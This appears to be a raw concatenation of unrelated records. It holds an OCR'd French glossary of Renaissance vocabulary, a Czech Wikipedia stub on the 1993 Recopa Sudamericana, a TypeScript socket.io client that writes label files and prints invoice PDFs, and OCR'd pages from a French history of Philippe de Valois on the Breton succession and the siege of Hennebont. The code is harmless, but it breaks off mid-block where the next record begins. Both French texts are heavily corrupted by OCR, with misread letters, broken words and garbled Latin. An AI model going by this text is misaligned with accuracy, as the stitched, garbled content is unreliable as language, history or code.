— Chaussure qu'on mettait alors pour sortir. On dit venir ce mot du Grec pas, pan, pantàs : tout; et de phellos liège ou de l'Allemand bien pied et toque : table, tablette. Les pantoufles avaient des semelles épaisses et hautes du talon. Rabelais dit que « les bornes de boire sont quand la personne buvant, le liège de ses pantoufles enfle en haut d'un demi pied. » Pantoufle haute qu'on ne grille : posée sur une semelle si épaisse, et sur un talon si haut, que le feu ne peut griller la plante des pieds. Pantoufles à vingt-quatre semelles : les élégantes de petite taille les portaient pour se grandir. Menot reproche aussi aux dames les hautes pantoufles qui leur font tourner le pied, et les font tomber dans la boue. Feria V, post. cineres. -— La forme des chaussures changea, et Coquillart constate cette révolution de la mode. Des pantoufles besicles, rondes par-devant comme un œil, etc. Les souliers à la poulaine, c.-à-d. à longues pointes plates ou recourbées, furent remplacés par des chaussures d'abord moins aiguës, puis arrondies comme les raquettes du jeu de paume. Cette mode se prolongea jusqu'à la fin du règne de François Ier. Les souliers étaient à l'extrémité bouffants, et ornés de crevés de diverses couleurs. Pavor. — De pavor : peur. Par. — Pour. Par six ou sept nuits : pour six ou sept nuits de négligence. — Par pour leurs vieilles chaussures réparée : ils n'ont pas d'argent pour, par son moyen, remettre à neuf leurs chaussures. Paragraphe. — Paraphe. Rab. Parc, Enceinte. Salle de réunion. Parchemin — Ce mot se prêtait aux équivoques. Forcer un laboureur à faire des charrois au profit de son seigneur, c'était lui faire marcher le parchemin en chemin tout en murmurant entre ses dents. Menot. Érouilleret Notaire en parchemin double : qui suit deux voies, l'une apparente, l'autre cachée et frauduleuse ; qui délivre frauduleusement des copies non conformes aux minutes. V. Blanc scellé. Pardonne. — Indulgences. Pâtisseries communes (qui se vendaient à la porte des lieux où l'on allait gagner des pardons). — On disait dans un sens graveleux : aller aux Gordels gagner des pardons. 38 des C. N. N. — Ce mot signifiait aussi encouragement, récompenses. Après la défaite de Charles-le-Téméraire, chacun l'abandonnait il semblait, dit Ph. de Gom., qu'il y eût très-grand pardon à lui mal faire. Goquillart emploie le mot pardon dans ce sens, quand le Gendarme cassé nous montre un curé débauchant une femme mariée. Pardon se prête d'ailleurs à une équivoque : on peut le prononcer comme s'il formait deux mots, par don. (V. Officier et Offrandes) Parenté. — Parenthèse : Phrase introduite dans une autre, et renfermée entre deux signes curvilignes : introduction de cette phrase. — On disait ouvrir, fermer, introduire la parenthèse. De là des équivoques graveleuses. Paré. — Prêt, préparé, présenté. Mis au pair, accouplé. Décoré, orné. Pareil (Non) — Sans pareil, excessif, original : impareilles. Nœuds de rubans. Parfait. — Achevé, habile, rusé, expérimenté. — Ouvrier parfait : homme bon à tout, faiseur, se donnant pour habile. Paris, parisienne. — Paris, résidence royale, siège du parlement, centre des affaires et des plaisirs. On y voyait arriver gens de lettres et gens d'armes, princes et capitaines; là se rendaient les femmes galantes de toutes les provinces. Le sort de la grande ville fut plus d'une fois envié par d'autres cités alors ses égales, mais qui voyaient dans l'avenir : on aimait à rire aux dépens des parisiens ; d'ailleurs n'avaient-ils pas aussi leurs ridicules et leurs vices. Paris était le pays des plaisirs et des débauches, et les parisiennes avaient grand renom de gaillardise en amour et d'esprit en conversation. — Si elle n'eût été de Paris, et plus subtile que l'armoire d'autres, son gracieux langage et ses promesses l'eussent tout en hâte abattue. "Il n'est bon bec que de Paris" : chanson de Villon. — Les "noces franches" étaient celles qui se faisaient aux frais des mariés et de leurs parents, sans faire payer les invités. Les "noces franches" de Villon sont des repas pris aux dépens d'autrui. Les noces franches étaient celles des gens nobles et riches. "Pour être plus joli aux noces, la chose pourrée de poils" : aux noces les femmes rivalisaient de luit et de toilette. Pour récompenser la valeur déployée contre Charles le Téméraire, par les fenainies et les jeunes filles de Béarnais, Louis XI leur permit, en dépit des lois somptuaires, de porter les jours de noces tel vêtement et tel jewellery qu'elles voulaient. Notable — Proverbe, sentence à conserver dans sa mémoire. Brocard de droit. Nolaire. — Ce titre appartenait à des officiers de différents ordres. Les secrétaires des universités, les greffiers des officiels des parlements et des bailliages, les secrétaires du roi, les officiers qui recevaient au nom du pape, du roi ou des seigneurs, les actes émanés d'une seule personne, ou les conventions arrêtées entre plusieurs individus, s'appelaient tous notaires; mais éloignés d'avoir le droit à la considération publique. Leur salaire était trop petit, et aucun d'eux ne pouvait vivre avec les bénéfices légitimes de sa charge; ils étaient réduits à exercer d'autres professions, ou à commettre des friponneries, abusant de leur caractère et de la confiance des fauteuils, dans ses sermons. Dondom, hum. Menteurs de XII avant 171 avec l'une des parties, délivraient des expéditions différentes de la minute. Menot, dans ses Sermons, signale au public ce genre de fraude: et notaires, traitre Tabellion, dedisse laisse in oppositum venditionis: sed de omnibus his judex erit allocutus. Dom, 11, quad. Note. — Air de musique. Note à danser: air de danse. Sonner la note: Jouer un air. Nourrisse. — Jusqu'au règne de Louis XI, les femmes se firent un devoir impérieux de nourrir leurs enfants. Du temps de Coquillart les mœurs changèrent. La coquetterie amena la mode d'avoir des nourrices. C'est cet oubli du plus doux des devoirs, que le poète attaque avec une mordante ironie, à la fin de son chapitre de Jure naturali. Nourriture. — Satisfaction donnée aux appétits de l'amour. Nouveau. — À la mode. Monde nouveau : jeunes gens, gens à la mode; homme nouveau, même sens. — Droits nouveaux : droits du jour, nouvellement rédigés, faits pour la mode et les mœurs du moment. Les G. N. N. se terminent ainsi : ce finissent les cent nouveautés comptes des cent nouvelles nouvelles, composées et récitées par nouveaux gens depuis naguère, et nouvellement imprimées à Paris. Nouvelleté. — Nouvel œuvre. Entreprise nouvellement faite contre les droits d'autrui. Rébellion. Nouvelles du jour : objets à la mode, chose nouvelle. Noyé. — En Suisse et ailleurs les femmes adultères étaient noyées. — Jusqu'au règne de Charles VII, ce supplice fut inusité à Reims ; alors on noyait les voleurs. Depuis, Louis XI usa de ce châtiment comme d'un moyen gouvernemental. Noyse. — Querelle, procès. Mieux — V. Niais. C'est s'être donné des peines : c'est un point à faire juger même par les novices. Obliger : objecter. Rabelais dit la dernière fois avec ressentiment du clergé. Les scandales qui en furent la suite, motivèrent l'interdiction de l'Église. — Passion d'Antioche : Goquillart fait ici un jeu de mots : Ignace, l'évêque d'Antioche après saint Pierre, fut livré aux bêtes sous Trajan. Goquillart, qui déclare la guerre aux longues chevelures, fait un sobriquet injurieux du nom de saint Ignace (saint Tignace) ; du moins c'est ainsi que peut s'expliquer l'apostrophe de passion d'Antioche. Passion était le nom donné au supplice du martyr et au saint qui l'avait souffert. Pas lé. -^ De pas le : nourriture. Pâté, pâtisserie. Pasté de coings : coings confits, élément digestif et stimulant. Quelqu'un peut-être ici un jeu de mots. V. Coing. Pasté de veau : le veau était la viande délicate réservée aux gens riches. Allusion aux habitudes gourmandes des hommes d'armes. (V Gens d'armes.) Pas l'heure. — Aliments : repas. Pain quotidien de Tamour. — Prester le moule à la pasture : livrer la meule à l'appétit de la bête, ne rien refuser aux désirs de l'amour. Pasture voulait dire aussi entrave mise dans des anneaux passés aux pieds des bêtes pour les empêcher de fuir. Dans ce sens prester le moule à la pasture, serait présenter l'âneau à la barre de l'entrave : l'équivoque serait la même au fond. Pas l'heure, -^ Satisfaire les appétits amoureux. Pathelin. — Avocat fourbe et voleur, héros d'une des farces les plus célèbres du moyen-âge. Son nom devint synonyme de fripon ; on en fit un substantif qui signifiait fraude, vol, mensonge, perfidie. Menot dit ludere du pathelin, pour tromper. Le pathelin d'un cédé bonis : ruse perfide d'un débiteur, qui, pour se libérer légalement, livre à ses créanciers ses biens qui souvent sont sans valeur réelle. — Pathelin : tromper, mystifier, séduire, conter fleurettes, plaisanter. Patte patache. — Bruit de gens qui caquettent. Patience, — Ce mot se prêtait aux calembours. On disait patience, passe science. Patin. — Soulier mince, au talon élevé, à la pointe aiguë. | 43,873 |
https://cs.wikipedia.org/wiki/Recopa%20Sudamericana%201993 | Wikipedia | Open Web | CC-By-SA | 2,023 | Recopa Sudamericana 1993 | https://cs.wikipedia.org/w/index.php?title=Recopa Sudamericana 1993&action=history | Czech | Spoken | 56 | 137 | Čtvrtý ročník Recopa Sudamericana byl odehrán ve dnech 26. září a 29. září 1993. Ve vzájemném dvouzápase se střetli vítěz Poháru osvoboditelů v ročníku 1992 – São Paulo FC a vítěz Supercopa Sudamericana v ročníku 1992 – Cruzeiro Esporte Clube.
1. zápas
2. zápas
Vítěz
Reference
Fotbal v roce 1993
Zápasy São Paulo FC
Zápasy Cruzeira | 25,864 |
https://github.com/toinmdq/ti-node-print/blob/master/src/index.ts | Github Open Source | Open Source | MIT | null | ti-node-print | toinmdq | TypeScript | Code | 449 | 1,613 |
import express from 'express';
import { Request, Response } from 'express';
import { io } from 'socket.io-client';
// import { print, getPrinters } from 'unix-print';
import { print } from 'pdf-to-printer';
// import { getPrinters } from 'pdf-to-printer';
import fs from 'fs';
import path from 'path';
import axios from 'axios';
const app = express();
const {
PORT = 3006,
} = process.env;
app.get('/', (req: Request, res: Response) => {
res.send({
message: 'hello world',
});
});
app.listen(PORT, () => {
console.log('server started on port:' + PORT);
});
const urlSocket = 'wss://socket.todoinsumos.com';
const urlApi = 'https://api.todoinsumos.com';
const socket = io(urlSocket, {
reconnectionDelayMax: 10000,
transports: [ 'websocket' ], port: '4000'
});
// ETIQUETA DE ENVIO
interface DeliveryTag {
boxes: string,
name: string,
phone: string,
address: string,
city: string,
details: string
}
socket.on('print-tag-order', (tag: DeliveryTag) => {
const { boxes, name, phone, address, city, details } = tag;
const dir = path.join(__dirname, '../../cns-local/etiquetas/');
fs.writeFile(dir + 'envio.txt', `${boxes};${name};${phone};${address};${city};${details}`, 'latin1', (err) => {
err
? console.warn(err)
: console.log('Etiqueta pedido ', name);
});
});
// ETIQUETA DE PRODUCTO
socket.on('print-tag-product', ({ codigo_pr, nombre_pr }: { codigo_pr: string, nombre_pr: string }) => {
const dir = path.join(__dirname, '../../cns-local/etiquetas/label/');
fs.writeFile(dir + 'label.txt', `SKU: ${codigo_pr};${nombre_pr}`, err => {
err
? console.warn(err)
: console.log('Etiqueta producto ', nombre_pr);
});
});
// IMPRESION DE FACTURA
interface PrintInvoice {
cliente_id: string,
pedido_id: string,
cbte_numero: string,
authorization: string
}
socket.on('print-invoice', (data: PrintInvoice) => {
// getPrinters().then(console.log);
const file = `F${data.pedido_id}.pdf`;
axios({
url: `${urlApi}/invoices/pdf?pedido_id=${data.pedido_id}&cliente_id=${data.cliente_id}&cbte_numero=${data.cbte_numero}`,
method: 'GET',
responseType: 'arraybuffer',
headers: {
authorization: data.authorization,
}
})
.then(data => {
fs.createWriteStream(`../cns-local/pdfs/${file}`).write(Buffer.from(data.data, 'utf8'), (err) => {
// const printer = 'EPSON_XP_2100_Series'; // only macos
// const options = [ '-o media=A4' ]; // only macos
const options = {
printer: 'RICOH MP C306Z PCL 6',
win32: [ '-print-settings "fit"' ],
};
err && console.log(err);
// print('../cns-local/invoice.pdf', printer, options) // only macos
print(`../cns-local/pdfs/${file}`, options)
.then(() => {
console.log('Factura impresa', file);
fs.unlinkSync(`../cns-local/pdfs/${file}`);
}).catch((err) => {
console.log('Error al imprimir factura', err);
fs.unlinkSync(`../cns-local/pdfs/${file}`);
});
});
})
.catch(error => {
console.log(error);
});
});
// IMPRESION DE REMITO
interface PrintOrder {
cliente_id: string,
pedido_id: string,
authorization: string
}
socket.on('print-order', (data: PrintOrder) => {
// getPrinters().then(console.log);
const file = `R${data.pedido_id}.pdf`;
axios({
url: `${urlApi}/orders/pdf`,
method: 'POST',
responseType: 'arraybuffer',
headers: {
authorization: data.authorization,
},
data: {
cliente_id: data.cliente_id,
pedido_id: data.pedido_id
}
})
.then(data => {
fs.createWriteStream(`../cns-local/pdfs/${file}`).write(Buffer.from(data.data, 'utf8'), (err) => {
err && console.log('error escribiendo archivo');
// const printer = 'EPSON_XP_2100_Series'; // only macos
// const options = [ '-o media=A4' ]; // only macos
const options = {
printer: 'RICOH MP C306Z PCL 6',
win32: [ '-print-settings "fit"' ],
};
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histoiresdephil00choigoog_4 | French-PD-diverse | Open Culture | Public Domain | 1,688 | Histoires de Philippe de Valois et du roi Jean | Choisy | French | Spoken | 7,151 | 12,141 | Ces nouvelles n'avoient pas peu contribué â la levée du fîcee de Tournai, 1: ge de Tournai, Edouard avolt lus de haine pour les Ecoffois que pour es François , parce qu'ils étoient encore plus fes voifîns ) à peine fut>il arrivé à Lon dres , qu'il marcha vers l'Ecoflé avec qua tante mille hommes de pied & fix mille chevaux. Les Ecoffois n'étoient pas en état de lui renfler , ils lui demandèrent une trê ve & lui promirent de le reconnoîtrepour leur Souverain , Ci dans fix mois leur Roi David qui étoit en France depuis fept ans ne revenoit dans le palEs. Edouard man quoit de vivres , la faiA>n étoit fort avan cée , fon armée déperiâbit , il leur accorda ce qu'ils demandoient ^ s'en retourna à Londres, ^6 HISTOIRE DE PHILIPPE Les ËcoiTois envoyèrent auflî-tot dés Couriers à leur Roi ^ lui mandèrent ce qu'ils a voient fait. Ce Prince nommé Dà-» vid I , fils dç Robert Brus , qui defcendoit des anciens Rois d'Hcoffe, avoitfuccedé à ) 3 19, fon père en 1319. ^ comme il n'avoir que huit ans , Tes tuteurs avoiçnt eii une gran* de guerre a fpupenir contre la Maifon de 3ailleul » qui prétendoie à la Couronne d'Ecoffe. Les Anglois avoient pris le parti des Baillculs 2c le jeune David après avoir perdu la plus grandç partie de ion païs é toit venu en France en 1354, demander du fecours au Roi? Philippe Tavoit reçu ma gnifiquement & lui avoir donné de grofTes penfions pour foutenir fa dignité : peu a-r f>rés ils gvoienp fait enfemble un traité d'aï iançe , qui a duré long-ten^s entre les deux nation^ , $c David ayoitprotpis de neja-r ma;s f^ire n^ paijp ni çreve avec le Roi d'Angleterre , que d^ jponfentement du Roi dç Françç. Il avoit laiffé 90 partant la conduire àç fçn Etat entre les tnains du Coiiite de Mourai , du Comte Patrix ^ de GuiUamiaç ]Dpuglas,quin<: ppuvatit tenir {a campagne contre les Anglois ç'étpieni; fpç|rez dans (a forçt de Gedeourf gu nord ^DE VA LOIS. Liv. lî. Cependant le Roi d'Angleterre qui n'c toit pas accoutumé a être attaqué le pre mier , fremijlfoit de rage en apprenant la s qui vouloient emporter la place à :lque prix que ce fat, & les Àflicgez té« DE VALOIS. Liv. II. ^V ^efolacion de fon Païs , ôc s «toit avance prcrquc fcul jufqu'à Barvic : il y fiit bien tôt joint par une grande armée Ôc marcha vers^ Saiiiocri dans la refolution d'attaquer fcs ennemis par tout où il les trouvcroit j fc flatant que des peuples tant de fois vaia cus ne lui donneroicnt pas beaucoup de peine. En effet les EcoGbis à la premie;r« nouvelle de l'approche d'Edouard levèrent le (îcge de Satijfberi & fe retirèrent dam ieurs Forets, Edouard arriva devant le Château de Fr. i. v. Salilbcri un peu après que les Ecoflbis en ^'^' ^-^H^ furent partis , Ôc y fut reçu par la belle Comtcflc : elle vint au devant de lui , fc jctta à fcs genoux , l'appella fon libérateur*, Ja joyc de fe voir en liberté la rcndoit ce jour-là encore plus belle qu'à lord inaire j ie Roi ne put refîfter à tant de charmes &: fêlait aller aune pallion, qu'il condam na lui-même dans la fuite de fa vie. Il en parla d'abord à la Comteffe, & il ne faut pas s ta. étonner ; il étoit jeune , brave & Koi , tant de qualitez aimables lui don noient de la confiance , mais ne lui fervi fent de rien , la Comteflè lui ôta d'abord toute efpcrançc & il la quitta le lendemain , N ij 100 HISTOIRE DE PHILIPPE pour aller chercher les EcofTois. Le Roi d'Ecoflc s'ctoit retiré dans la fo rêt de Gcdeours où il ne pouvoir être for cé ', Edouard s'en approcha , il y eut de pe tits combats entre les deux armées & en fin les deux Rois en 15 41. firent une trêve de deux ans du confentement de Philippe. On fît en même tems l'échange du Comte de Mouray Ecoflbis avec le Comte de Sa lifberi Anglois qui avoir été pris en Flan dre par les François , & qui etoit prifon nier à, Paris, 13 41. VI. L^ même année mourut fans enfans Fr. I. V. Jean III. Duc de Bretagne i il vcnoit de Mer. deshifl. ^^^^^ fils Ju Duc Picrrc Mauclcre de la ftim Dem$. Maifon de France de la branche de Dreux , jim.dtFitri. ^ comme il n'avoir jamais efperé d'avoir d'enfans, ôc qu'il prevoyoit que fa fuccef fjon caufcroit de grandes guerres , il avoit eu envie de donner au Roi la Bretagne en échange pour le Duché d'Orléans , & par là d'aifurer le repos de fon Païs en l'unif fant à la Couronne , mais il trouva de fi grandes oppofîtions dans l'efprit des Bre tons , qu'il abandonna ce deficin & maria Jeanne fa nièce fille du Comte de Pentiévrc l'aîné de fes frères à Charlc de Blois de la DE VALOIS. Liv. II. lo» Maifon de Chatillon fur Marne , qu'il fie rcconnoîtrc,dc fon vivant, pour fon légiti me héritier , pcrfuadé que Charle étant fils du Comte de Blois & neveu du Roi Philip pe de Valois, ne manqueroit pas depfotc-î âion. Mais dés qu'il fut mort , Jean Com te de Montfort fon frère de père, ( Car Ar tus 1 1. Duc de Bretagne père de Jean III. avoit cpoufé en fécondes noces Joland Comtcflè de Montfort rAmauri,dont il avoir eu Jean Comte de Montfort ) entra dans la Ville de Nantes & fc fit prêter foi & hommage par les habitans -, il alla en fuite prendre polfclfion du Vicomte de Li moge & fc faifit du trefor que Jean fon frère y avoit amaffé , dont il fe fervit fort utilement pour faire des troupes. Dés qu'il eut une armée auez forte pour tenir la campagne, il fe fit reconnoître par la plupart des Villes de Bretagne, prit Ren nes , Vannes , Breft , Hennebond & quel ques autres fortereffes, & comme il nedou ta pas que Charle de Blois ne l'inquiétât danslapoflèfliondu Duché &c qu'il ne fût fou tenu par le Roi fon oncle , -il fedéguifa & paffa en Angleterre pour s'affurer la pro tection d'Edouard. Il y trouva Rooert Niii toi HISTOIREDEÎ>HILIPPE d'Artois qui Tappuyâ de tout fon crédit : ils étoienit tous qeujç Princes dw fgng Royal de France, Robert de la branche d'Artois, & le Conite de Montfort de celle de Dreuxj & comm^ Rpber t avoir été chalTé de Fran ce & que Montfort craignoit dç l'être , ils fe joignirent d'intérêts contre le Roi Phi» lippe leur ennemi commun , qui depuis Ton ^idvcnemcnt i la Couronne n'avoit poine perdu d'occaHon d'abbaiffër les Princes du fang. Le Roi d'Angleterre promit Ta pro-» tedion au Confite de Montfort , reçût en fecrct l'hpnim^ge qu'il lui fit du Duché do 13retagne,& promit qu'il le défcndroitcom-r me fon vaflàl contre cous çeu^p qui l'atta queroicnt. Charlc de Blois voyant que le Comte de Montfort l'ayoit preycnu & s'étoit em paré de la Bretagne , vint demander juftice au Roi , qui envoya ^ Nantes le premier Huiflicrdu Parlcnient adjourncr le Comte de Montfort à comparoitre à certain jour pardcyant Ja Cour dejj Pairs, poury explir quer le droit qu'il prétcndoit avoir au Du ché de Bretagne. Montfort s'y rendit quin, ze jours avant le tcms marqué avec l'équi page d'un gran^ Prince & plu§ de quatre j €tr* DE VALOIS. Liv. lï. 103 <5(Sns Gentils-hommes de Bretagne. îl alla j^s-desMif. d'abord faluer le Roi /qui lui dit / Comte de Aiontfortyje fnémérveiUe pourquoi & comment iivex. oje entreprendre 'U Duchf de Breta^e , o^ nioué name^ nul droit j Cdr il y 4 plus prochain df mous i que vous en vouh^ deiheriter, &* pourmiex vous en efforcer vous efies allé à mon adve^re le Rf^ d'Angleterre €P* taive:^ de lui relevé, ainfi comme on m'a conté, Hà, diier Sire , s'éctia le Comte : Ne ltcroye:(^en pas î car de ce Vous eftes vrayement nud informé, Ô* fauf vôtre grâce rnejt-^ il avis que vous ijous en mépreneii , carjene jçd nulji prochain du Duc mon frère dernièrement tré P'f'jjeque moi. Le Koi lui répondit que dan^ quinze jours les Pairs du Royaume jugc^ roient fon affaire* A ce difcours le Comte de Montfort fit bonne mine^ & ne témoi gna pas ce qu'il en penfoit , il s'en alla à la mailon qu'on lui âvoit préparée , éc (t doutant bien que Tes Juges ne lui feroient Î>as favorables , il (e fauva dés le même fbir ui troifiémc , & reprit le chemin de Nan tes 5 laiifant tous Tes gens dans Ta maifon à Paris , afin d'avoir le tems de fe Tau ver ^ avant qu'on s'apperçût qu'il étoit parti. Le Pârleinent ailemblé a Conflans efi prefence du Roi ne laiiia pas d'examiner I04 HISTOIREDE PHILIPPE l'afFairc j le Procureur du Comte de Mont^ fort difoit , que dans la fucceffîon du Du ché de Bretagne on avoit toujours vu les mâles exclure les femmes , quand ils s'c« toient trouvez au même degré ; qu'ici la chofe étoit en termes bien plus forts , puif^ que Montfort étoit propre frère du Duc Jean , & que Jeanne femme du Duc de Blois n'étoitquefa nièce j quçla Bretagne étant un Fief de la Couronne dç France & même une Pairie , les affaires qui regardoient la poflè/Iîçn djc ce Duché dcvoient être ren voyées au Parlement , & qu'il falloit en cette occation fuivre la loi générale dit Royaume » qui çxçluç jçs fçmmcs dç la Couronne. Charlede Blois au contraire difoit qu'il falloit fuivre la coutume de Bretagne, ou rcprefentation a lieu , en forte que dans les familles particulières la lîllç du frère aî^ né exclut toujours fon oncle cadet : Qu' ayant époufé la fîlle heriticrç du Comte de Pentiévre frerç aîné du Comte de Mont-* fort , il étoit prccifément dans le cas de la coutume : il rapportoit déplus rcyemplc des Comtez de Touloufe , de Champagne $ç 4* Arçois qui aypiçnt paifé am femmes , DE VALOIS, tiv. II. : loy & dcmandoic à être reçu à prêter foi & hommage au Roi avec d'autant plus dcrai Con , aic Montfort, l'aïant prête au Roi d'Angleterre , ctoit déchu par fclonnie de tout le droit, qu'il pouvoit avoir au Du jché de Bretagne. L'affaire bien examinée ', le Parlement adjugea la Bretagne à Charle de Blois , & le Roi l'aïam envoyé quérir , lui dit r Beau neveu, vous arve:^fom vous juge ment de bel héritage; or vous hate:^ de le conquer" re fuir celui qui le tient à tort, je ne vousjy faudrai mie. Il lui promit cnfuite de l'aider d'hom mes & d'argent pour reprendre fon païs ^ te donna la conduite de cette guorre^ au Duc de Normandie. Tous les girans Scil gneurs qui fe trouvèrent à la Cour promi» rent à Charle de Blois de le fecourir , le Comte d'Alençon fon oncle, ie Comte dit Blois fon frère , le Duc de Bourgogne , le Duc de Bourbon , le Coînte d'Eu Conné table de France, le Vicomte de Rxjhans'eii allèrent chez eux préparer toutes chofès pour fc mettre bientôt encampagne. Lercndé^vous étoit A. Angers , & quand ils furent tous afTemblez , il fe trouva à la revue cinq mille hommes d'armes , trois mille Génois commandez par Odoard Po-' Q Ab ^i<,6 HISTOIRE DE PHILIPPE ria & pat Charlc Gdmaidi, de grand nom bre d'Arbalétriers. Ils prirent d'abot^l le Château de Chantoceaux, oui étoitnnedcs portes de la Bretagne, 3c ailcrent ailicger Nahces. Le Comte de Montfort y étoit a vec une bonne gamiron , mais les Boar« eots de la Ville voyant brûler leurs mai ons de campagne , livrèrent une de leurs portes aux François , ^i fumircnt le Comte ^ fe rendirent 'maîtres <te la Ville •fans y faire aiicuia dcsfôrdxe. Charle de £iois en prit auflîtôt poiTeâîon, &; parce ue la faifbn %coit déjà avancée , le Duc Normandie s'en retourna a Paris de lui laiâa afkz de troupes pour n^rcndre les autres places de .Bretagne. On emnvena à Paris k Comte de Montfort <^ui fut mis dans laitdat dii ixnrvire > où il dotieora <][uatre ans. Fr. 1. V. Cependant Mar^oerite Comtcflc de ^n». de ritri. j^outfort fœur de Loms<:omtc de Flandre ne perdit point courages fa taille :avanta geufe., famine iîcre, r mépris qu'elle fai* loit tde fa beanoé l'clevoient au deâus des autre ânnmes , & bientôt laiprifon de fon mari lui donna moyen de Ëùre connoîire dc<]uoi elle 'étoit capable j ellevenoit d'a|:« l DE VALOIS. Liv. IL ' lor river à Rennes , quand elle en apprit la nouvelle. Aufli-tpc elle fit aiTcmbler le peu ple & la garnifon , leur promit la prote^ âion du Roi d'AngUtcrre , & leur mon trant Ton fils qui n*avoit que cinq ans : f^oi^ la celui, leur ditrelle, fti m joutfrendrA U f lace de JGnfvre& U remflà-a tlus heureu/èment. Quand elle crut ^vpir mis la ville de Ren nes en fureté , elle alla viHter toutes Tes au tres places n y mit dçs Gouverneurs fidèles , fit payer les troupes, fit travailler aux for tifications , menant par tout fon fils , qui tout enfant qu'il etoit, prioit les peuples = de ne le pas abandonner y après quoi elle fç retira à Hennebond & y pailà le refte do • l'hiver. • Au commencement du printemsleDuc 134^ de Bourbon , le Comte de Blois de plufieurs autres Seigneurs François revinrent trou-^ ver CH^f le 4<^ Blois &; partirent avec lui de. Nantes pou r aller aiHéger Renncis. 6uillai tQs de Çadudai Breton y commandait pour la ComteiTe de Montfort , & s'y défendit fort bien i les François y donpércne plu fieurs afiauts inutilement , maisenfîii lèi~ Bourgeois }as de fe Voir tous les jours au b4Z»rdd'êçre fpf ccz firent leur capitulation. Oii io8 HISTOIRE DE PHILIPPE àrinfçû du Gouverneur & fc rendirent à Charle de Blois , à qui ils prêtèrent foi & hommage comme à leur Seigneur légiti me. Cadudal eut la liberté de Ce retirer $ç alla trouver la Comteflc a Hennebond. A lors les François après avoir tenu cx>nfeil de guerre refolurent fans s'amufer à re prendre d'autres places , d'aller affiéger Hennebond cfperant terminer la guerre en prenant la Comteflequi s'y ctoit enfermée avec fon fib. Au refte la Coniteflc ne s'étoit pas endor mie i dés qu'elle avoit vu Charle de Blois maître de Nantes , elle avoit bien jugé qu'il n'en demeureroit pas là & que (ans un fe cours étranger , elle ne pourroit jamais fe défendre contre toutes les forces des Fran çpis. Elle envoya Aimeri de Cliffon de mander dufccoùrsau Roi d'Angleterre, & pour le mettre entièrement dans fcs inté rêts lui fit proposer le mariage du jeune Comte de Montfort avec une de Ces fife. les. . Edouard quirouloit toujours dans fa tê te fes grans deficins fur la France, jugea d'a bord ; que le parti lui étoit avantageux , &: qu'aïant un Duc de Breugne à fà dévotion^ DE VALOIS. Lrv. II. 109 il entreroJt quand il voudroît en Anjôu , au Maine, en Normandie , Provinces tout ouvertes & les meilleures de France , au lieu que du côté de Flandre , il rrouvoic par tout de bonnes places bien fortifiées Ôc ta frontière hors d'infulte : dans cette pen fée il fit embarquer Gautier de Màuni l'un de (es meilleurs Capitaines avec Cix mille Archers &; lui ordonna d'aller fecourir la Comteflc j mais quoique le trajet ne foit f>a$ grand j il fut plus de quarante jours à e faire àcaufe des vents contraires. Cependant les François étoient arrivez devant Henncbond Se avoient déjà parta gé entre eux les attaques' , refolus d'em porter la place d quelque prix que ce Fût. Flennebond eft fur la rivière de Blavet ' à ciiiq ou fix lieues dans les terres , la mer y remonte, & les vaiflèaux pouvoientdeux fois par jour venir dans le port qui étoit commandé par une fortererfe ; la Ville é toit entourée d'un grand fofle , dans lequel la rivière pafibit , & l'on n'y avoit rien ou blié de ce qui peut fortifier un lieu déjà fort par fa iituation. Les Aifiégeans en ar rivant voulurent tâter les adîegez & vin-. Oiij MO HISTOIRE D E PHILIPPE rené efcar moucher aux. barrières: ilstrou-<' verenc de la rcHIlance , U garnifQn écoic bonne &: ils virent bien , qu'il ^loît ailîc ger la place dans les formes. Ils firent ve nir les nuchines dont on fe fervoic en ce cems-là, remplirent les foflcz de facines , 6rent des brèches aux murailles > allèrent^ à Tadàut 'i mats la ComtelTe donnok ordre* à tout. Ëllemarchoit par les rues armée do toutes pièces , faifant la ronde toute la nuit pour voir Ci tout étoit en bon état. A Ton exemple les femmes , les filles , jufqu'aux enfans (out travailloit , les unes portoienc de la terre pour reparer les brèches , Les au trçs portoient à manger aux foldats , afin qu'ils ne fuiTent point obligez à quitter loir pofte ; quand il falloic foucenir un aifaut , elles jettoient dei pierres y des pots à feu, de l'huile boitillante enfin il fc fit pendant ce {lége , qui fut aifez long , une infinité fr, I. V, de belles a&fcions. Un jour que les François ^fm, 4c Titré, donnoient unaiTaut gecMiral, la ComteiTe étant montée â une tour pour obfjerver les i^:taquçs de voir |^ endroits où l'on auroit befoin d'elle, remarqua. que prefqiie tous )es ailîégeans marchoient vers la Ville ou pQU( ^cï à TaiTauc , ou ppur çn ccrc fpe* ♦> ■ I>E VAXDIS. Liv. II. III .{ksEtcais y que ne craignant cien du côte de la campagne , ils avoicnt laifTé leurs tentes & leurs équipages à la garde de leurs va lets : elle defcend aujHî-tôt de ia tour , fe met à la tête de trais cens chevaux qu'elle avoit dans la Ville , fort pat une fau^par te &c va pillatit , i^nverfant y brûlant le& tentes de fcs >ennemis. A ce bruit imprévu les Francis quittent l'aflaut Se viennent au fccours du camp ^ Louis d'fifpagne dit de la Ccrda , arrière petit fils d'Alphonfe X. Roi de Caftille commandoit une partie des troupes , de fut le premieràdheval^ mais la Oomtcflè qui vit , que la rccraite lui étoit coupée & qu'el kne pouroit jamais rentrer dans la Ville fans perdre la plus grande partie de Tes gens , prit Ton parti fans hefîter & s'en aîla a toute bride vers la bafiè Bretagne où elle avoit encore plufieurs places^ -Louis d'Ef pignc fuiivit qudque t^wns avec un erand corps' de Oavaierie ?{àm -pouvoir -enironccr la petite trempe -: kCoMteïTe -étoit à cha que défile i-épée à la main & nc-paffoit ja mais iqufcla 4e»»ier< 5 illtit oblige de reve nir au camp j n'aiïâriit pu prendre tqtre deux x>u lirais Cavaliers , ^&i 'lui apprirent que lix HISTOIRE DE PHILIPPE cette belle retraite avoit ctc faite par une femme. Quinze jours après la Comteffe ramafTa cinq cent chevaux , marcha toute la nuit ôc au point du jour força un quar tier & rentra dans Hennebond au bruit des trompettes &c aux acclamations du peu ple, quila croyoit morte ou prifoniere. Quand les François virent une fi vigou r-eufe défence j ils crurent que le ficge fc roit long , & pour ne point perdre de tems ils partagèrent Tarmee en deux : Charle de Blois , le Duc de Bourbon , le Comte de Blois &c Robert Bertrand Maréchal de France allèrent afliéger le Château d'Au rai à quatre lieues de Vannes &c laiilcrent devant Hçnnebond Louis d'Efpagne, Hen ri de Léon de le Vicomte de Rohan avec les Ocnois (^ les Efp^gnols. Ils attaquèrent Hennebond avec la même ardeur qu'aupa ravant ^ firent venir de Rennes douze grandes machines de guerre qui rcnvcrfe^ rçnt la plus grande partie des murailles. A Iprs les Amcgez commencèrent à s'éton ner -, l'Evéque de Léon qui étoit dans la Ville 